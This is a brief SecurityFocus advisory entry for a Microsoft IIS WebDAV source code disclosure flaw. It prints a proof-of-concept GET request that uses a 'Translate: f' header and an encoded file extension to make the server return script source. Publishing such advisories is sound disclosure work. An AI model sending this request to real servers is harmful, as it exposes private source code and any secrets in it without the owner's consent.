Microsoft IIS WebDAV HTTP Request Source Code Disclosure Vulnerability

An exploit is not required.

The following proof of concept example is available:
GET /www/test.as%CF%80 HTTP/1.1
Translate: f
Host: www.example.com
Connection: Close


 

Privacy Statement
Copyright 2010, SecurityFocus